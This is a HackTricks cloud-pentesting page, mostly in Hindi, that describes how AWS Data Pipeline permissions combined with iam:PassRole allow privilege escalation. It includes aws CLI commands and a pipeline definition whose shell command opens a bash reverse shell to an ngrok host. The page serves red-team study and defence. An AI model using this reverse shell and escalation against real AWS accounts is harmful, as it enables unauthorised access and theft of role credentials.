AWS - Datapipeline Privesc
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
datapipeline
For more info about datapipeline check:
AWS - DataPipeline, CodePipeline & CodeCommit Enum
iam:PassRole, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition, datapipeline:ActivatePipeline
इन उपयोगकर्ताओं के पास ये permissions होने पर एक Data Pipeline बनाकर अधिकार बढ़ा सकते हैं और assigned role की permissions का उपयोग करके मनमाने कमांड चला सकते हैं:
aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
Pipeline निर्माण के बाद, attacker इसकी परिभाषा अपडेट करके विशिष्ट क्रियाएँ या संसाधन निर्माण निर्दिष्ट करता है:
{
"objects": [
{
"id": "CreateDirectory",
"type": "ShellCommandActivity",
"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn": { "ref": "instance" }
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id": "instance",
"name": "instance",
"type": "Ec2Resource",
"actionOnTaskFailure": "terminate",
"actionOnResourceFailure": "retryAll",
"maximumRetries": "1",
"instanceType": "t2.micro",
"securityGroups": ["default"],
"role": "assumable_datapipeline",
"resourceRole": "assumable_ec2_profile_instance"
}
]
}
Note
ध्यान दें कि role जो line 14, 15 and 27 में है, वह assumable by datapipeline.amazonaws.com होना चाहिए और line 28 में जो role है वह role assumable by ec2.amazonaws.com with a EC2 profile instance होना चाहिए।
इसके अलावा, EC2 instance केवल उस role तक ही पहुँच पाएगा जिसे EC2 instance द्वारा assume किया जा सकता है (so you can only steal that one).
aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json
The पाइपलाइन परिभाषा फ़ाइल, जिसे हमलावर ने तैयार किया है, कमांड निष्पादित करने के निर्देश शामिल करती है या AWS API के माध्यम से संसाधन बनाने के लिए, Data Pipeline की role permissions का लाभ उठाकर संभावित रूप से अतिरिक्त अधिकार प्राप्त करने के लिए।
संभावित प्रभाव: निर्दिष्ट ec2 सर्विस रोल पर सीधे privesc।
संदर्भ
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
HackTricks Cloud

